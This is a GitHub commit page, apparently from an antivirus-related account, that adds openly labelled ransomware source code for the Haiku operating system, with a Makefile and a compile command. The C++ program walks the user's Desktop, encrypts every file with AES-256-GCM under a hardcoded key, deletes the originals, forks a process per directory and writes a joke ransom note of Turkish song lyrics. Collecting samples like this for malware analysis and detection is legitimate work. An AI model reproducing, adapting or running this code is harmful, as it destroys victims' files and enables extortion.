Skip to content

Commit

Permalink
Haiku Ransomware Source Code
Browse files Browse the repository at this point in the history
  • Loading branch information
HydraDragonAntivirus authored and HydraDragonAntivirus committed Oct 20, 2024
1 parent 17c5738 commit 50b7999
Show file tree
Hide file tree
Showing 5 changed files with 344 additions and 0 deletions.
Binary file added utkubabaproheck/.genio
Binary file not shown.
219 changes: 219 additions & 0 deletions utkubabaproheck/App.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,219 @@
#include <cstdlib> // Include this for system()
#include <unistd.h> // Include this for fork()
#include <openssl/evp.h>
#include <openssl/rand.h>
#include <iostream>
#include <fstream>
#include <sys/stat.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <FindDirectory.h>
#include <Path.h>
#include <vector>

const unsigned char key[32] = "utkubabaprohecklediutkubaba"; // 32-byte key for AES-256
const unsigned char iv[12] = "31693169316"; // Fixed 12-byte IV for AES-GCM
const size_t TAG_LENGTH = 16; // Tag length for GCM
const int FILE_LIMIT = 8192; // Maximum number of files to encrypt in one task

int total_files_encrypted = 0; // Counter for encrypted files

// Function to get the user's Desktop directory
void get_desktop_directory(char *dirpath, size_t size) {
BPath path;
if (find_directory(B_USER_DIRECTORY, &path) == B_OK) {
snprintf(dirpath, size, "%s/Desktop", path.Path()); // Get Desktop path
} else {
perror("Could not find user directory");
}
}

// Function to write ransom note
void create_ransom_note(const char *dirpath) {
std::string ransom_note_path = std::string(dirpath) + "/UTKUBABAPROHECKLEDI.txt";
std::ofstream ransom_note(ransom_note_path, std::ios::out);

if (!ransom_note.is_open()) {
std::cerr << "Error creating ransom note." << std::endl;
return;
}

ransom_note << "0:15\n♪ UtkuBabaHeykır Hack'ledi Dünya'yı ♪\n"
<< "0:19\n♪ Klavyeler gitti, kasalar patladı ♪\n"
<< "0:23\n♪ YouTube kanallarına DDOS atıldı ♪\n"
<< "0:27\n♪ Babapro heykır herkesi Hack'ledi ♪\n"
<< "0:31\n♪ Chat'e yazı yazıp bizi Hack'ledi ♪\n"
<< "0:36\n♪ Kendi bilgisayarına virüs indirdi ♪\n"
<< "0:40\n♪ Baba heykır, pro heykır, babapro heykır, Utkudoruk ♪\n"
<< "1:02\n♪ Utkudoruk, babapro heykır ♪\n"
<< "1:06\n♪ Utkudoruk, baba, baba hiçkır ♪\n"
<< "1:10\n♪ Utkudoruk, babapro heykır ♪\n"
<< "1:14\n♪ Utkudrk, baba baba hiçkır ♪\n"
<< "1:18\n♪ Chat'e yazı yazıp bizi Hack'ledi ♪\n"
<< "1:23\n♪ Kendi bilgisayarına virüs indirdi ♪\n"
<< "1:27\n♪ Baba heykır, pro heykır, babapro heykır, Utkudoruk ♪\n"
<< "1:34\n♪ Baba heykır, pro heykır, babapro heykır, Utkudoruk ♪\n"
<< "1:42\n♪ Baba heykır, pro heykır, babapro heykır, Utkudoruk ♪\n"
<< "\nVideo Reference: https://www.youtube.com/watch?v=y4SYSX-Xgfk\n"; // Add video reference

ransom_note.close();
std::cout << "Ransom note created: " << ransom_note_path << std::endl;
}

// Function to encrypt a file using AES-256-GCM
void encrypt_file(const char *filepath, const char *dirpath, const unsigned char *key, const char *app_name) {
// Check if the file is a ransom note or already encrypted
if (strstr(filepath, ".utkudorukbayraktarheckledi") || strstr(filepath, "UTKUBABAPROHECKLEDI.txt")) {
std::cout << "Skipping ransom note or already encrypted file: " << filepath << std::endl;
return;
}

std::ifstream infile(filepath, std::ios::binary);
if (!infile.is_open()) {
std::cerr << "Error opening file: " << filepath << std::endl;
return;
}

// Read the file into a buffer
infile.seekg(0, std::ios::end);
size_t filesize = infile.tellg();
infile.seekg(0, std::ios::beg);

std::vector<unsigned char> file_buffer(filesize);
infile.read((char*)file_buffer.data(), filesize);
infile.close();

// Initialize OpenSSL context for AES-GCM
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
if (!ctx) {
std::cerr << "Error creating EVP_CIPHER_CTX" << std::endl;
return;
}

// Initialize encryption
if (EVP_EncryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL) != 1) {
std::cerr << "Error initializing encryption" << std::endl;
EVP_CIPHER_CTX_free(ctx);
return;
}

// Set IV length and initialize key and IV
EVP_EncryptInit_ex(ctx, NULL, NULL, key, iv);

std::vector<unsigned char> encrypted_buffer(filesize + TAG_LENGTH);
int len = 0;

// Encrypt the data
if (EVP_EncryptUpdate(ctx, encrypted_buffer.data(), &len, file_buffer.data(), filesize) != 1) {
std::cerr << "Error during encryption" << std::endl;
EVP_CIPHER_CTX_free(ctx);
return;
}

int ciphertext_len = len;

// Finalize the encryption
if (EVP_EncryptFinal_ex(ctx, encrypted_buffer.data() + len, &len) != 1) {
std::cerr << "Error finalizing encryption" << std::endl;
EVP_CIPHER_CTX_free(ctx);
return;
}

ciphertext_len += len;

// Get the authentication tag
unsigned char tag[TAG_LENGTH];
if (EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, TAG_LENGTH, tag) != 1) {
std::cerr << "Error getting tag" << std::endl;
EVP_CIPHER_CTX_free(ctx);
return;
}

EVP_CIPHER_CTX_free(ctx);

// Append the tag to the encrypted buffer
encrypted_buffer.insert(encrypted_buffer.end(), tag, tag + TAG_LENGTH);

// Write encrypted content back to a new file with a .utkudorukbayraktarheckledi extension
std::string new_filepath = std::string(filepath) + ".utkudorukbayraktarheckledi";
std::ofstream outfile(new_filepath, std::ios::binary);
outfile.write((char*)encrypted_buffer.data(), ciphertext_len + TAG_LENGTH);
outfile.close();

// Create ransom note in the same directory
create_ransom_note(dirpath);

// Optionally remove the original file
remove(filepath);
std::cout << "Encrypted file: " << new_filepath << std::endl;

total_files_encrypted++; // Increment the count of encrypted files

// Check if we've reached the limit
if (total_files_encrypted >= FILE_LIMIT) {
// Fork a new process to continue encryption
pid_t pid = fork();
if (pid < 0) {
std::cerr << "Error forking process." << std::endl;
} else if (pid == 0) {
// Child process
std::cout << "Reached file limit. Spawning new task..." << std::endl;
execlp(app_name, app_name, NULL); // Use app name dynamically
perror("execlp failed");
exit(EXIT_FAILURE);
}
}
}

// Recursively encrypts all files in a directory
void encrypt_directory(const char *dirpath, const unsigned char *key, const char *app_name) {
DIR *dir = opendir(dirpath);
if (!dir) {
perror("Could not open directory");
return;
}

struct dirent *entry;
while ((entry = readdir(dir)) != NULL) {
if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0)
continue;

char filepath[1024];
snprintf(filepath, sizeof(filepath), "%s/%s", dirpath, entry->d_name);

struct stat path_stat;
stat(filepath, &path_stat);

if (S_ISDIR(path_stat.st_mode)) {
// Fork a new process for each directory
pid_t pid = fork();
if (pid < 0) {
std::cerr << "Error forking process." << std::endl;
} else if (pid == 0) {
// Child process
encrypt_directory(filepath, key, app_name);
exit(0); // Exit child process after encryption
}
} else if (S_ISREG(path_stat.st_mode)) {
encrypt_file(filepath, dirpath, key, app_name);
}
}

closedir(dir);
}

int main(int argc, char *argv[]) {
// Open files
system("ulimit -S -n 8192");

char dirpath[1024];

// Get the user's Desktop directory
get_desktop_directory(dirpath, sizeof(dirpath));

std::cout << "Encrypting Desktop directory: " << dirpath << std::endl;
encrypt_directory(dirpath, key, argv[0]); // Pass the app name to the function

return 0;
}
124 changes: 124 additions & 0 deletions utkubabaproheck/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,124 @@
## Haiku Generic Makefile v2.6 ##

## Fill in this file to specify the project being created, and the referenced
## Makefile-Engine will do all of the hard work for you. This handles any
## architecture of Haiku.

# The name of the binary.
NAME = my_cli_app
TARGET_DIR = .

# The type of binary, must be one of:
# APP: Application
# SHARED: Shared library or add-on
# STATIC: Static library archive
# DRIVER: Kernel driver
TYPE = APP

# If you plan to use localization, specify the application's MIME signature.
APP_MIME_SIG =

# The following lines tell Pe and Eddie where the SRCS, RDEFS, and RSRCS are
# so that Pe and Eddie can fill them in for you.
#%{
# @src->@

# Specify the source files to use. Full paths or paths relative to the
# Makefile can be included. All files, regardless of directory, will have
# their object files created in the common object directory. Note that this
# means this Makefile will not work correctly if two source files with the
# same name (source.c or source.cpp) are included from different directories.
# Also note that spaces in folder names do not work well with this Makefile.
SRCS = App.cpp

# Specify the resource definition files to use. Full or relative paths can be
# used.
RDEFS =

# Specify the resource files to use. Full or relative paths can be used.
# Both RDEFS and RSRCS can be utilized in the same Makefile.
RSRCS =

# End Pe/Eddie support.
# @<-src@
#%}

# Specify libraries to link against.
# There are two acceptable forms of library specifications:
# - if your library follows the naming pattern of libXXX.so or libXXX.a,
# you can simply specify XXX for the library. (e.g. the entry for
# "libtracker.so" would be "tracker")
#
# - for GCC-independent linking of standard C++ libraries, you can use
# $(STDCPPLIBS) instead of the raw "stdc++[.r4] [supc++]" library names.
#
# - if your library does not follow the standard library naming scheme,
# you need to specify the path to the library and it's name.
# (e.g. for mylib.a, specify "mylib.a" or "path/mylib.a")
LIBS = be $(STDCPPLIBS)

# Specify additional paths to directories following the standard libXXX.so
# or libXXX.a naming scheme. You can specify full paths or paths relative
# to the Makefile. The paths included are not parsed recursively, so
# include all of the paths where libraries must be found. Directories where
# source files were specified are automatically included.
LIBPATHS =

# Additional paths to look for system headers. These use the form
# "#include <header>". Directories that contain the files in SRCS are
# NOT auto-included here.
SYSTEM_INCLUDE_PATHS =

# Additional paths paths to look for local headers. These use the form
# #include "header". Directories that contain the files in SRCS are
# automatically included.
LOCAL_INCLUDE_PATHS =

# Specify the level of optimization that you want. Specify either NONE (O0),
# SOME (O1), FULL (O2), or leave blank (for the default optimization level).
OPTIMIZE :=

# Specify the codes for languages you are going to support in this
# application. The default "en" one must be provided too. "make catkeys"
# will recreate only the "locales/en.catkeys" file. Use it as a template
# for creating catkeys for other languages. All localization files must be
# placed in the "locales" subdirectory.
LOCALES =

# Specify all the preprocessor symbols to be defined. The symbols will not
# have their values set automatically; you must supply the value (if any) to
# use. For example, setting DEFINES to "DEBUG=1" will cause the compiler
# option "-DDEBUG=1" to be used. Setting DEFINES to "DEBUG" would pass
# "-DDEBUG" on the compiler's command line.
DEFINES =

# Specify the warning level. Either NONE (suppress all warnings),
# ALL (enable all warnings), or leave blank (enable default warnings).
WARNINGS =

# With image symbols, stack crawls in the debugger are meaningful.
# If set to "TRUE", symbols will be created.
SYMBOLS :=

# Includes debug information, which allows the binary to be debugged easily.
# If set to "TRUE", debug info will be created.
DEBUGGER :=

# Specify any additional compiler flags to be used.
COMPILER_FLAGS = -fPIC

# Specify any additional linker flags to be used.
LINKER_FLAGS =

# (Only used when "TYPE" is "DRIVER"). Specify the desired driver install
# location in the /dev hierarchy. Example:
# DRIVER_PATH = video/usb
# will instruct the "driverinstall" rule to place a symlink to your driver's
# binary in ~/add-ons/kernel/drivers/dev/video/usb, so that your driver will
# appear at /dev/video/usb when loaded. The default is "misc".
DRIVER_PATH =

## Include the Makefile-Engine
DEVEL_DIRECTORY := \
$(shell findpaths -r "makefile_engine" B_FIND_PATH_DEVELOP_DIRECTORY)
include $(DEVEL_DIRECTORY)/etc/makefile-engine
1 change: 1 addition & 0 deletions utkubabaproheck/compiler.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
g++ -o utkuhecklerbabapro App.cpp -lssl -lcrypto -lbe
Binary file added utkubabaproheck/utkuhecklerbabapro
Binary file not shown.

0 comments on commit 50b7999

Please sign in to comment.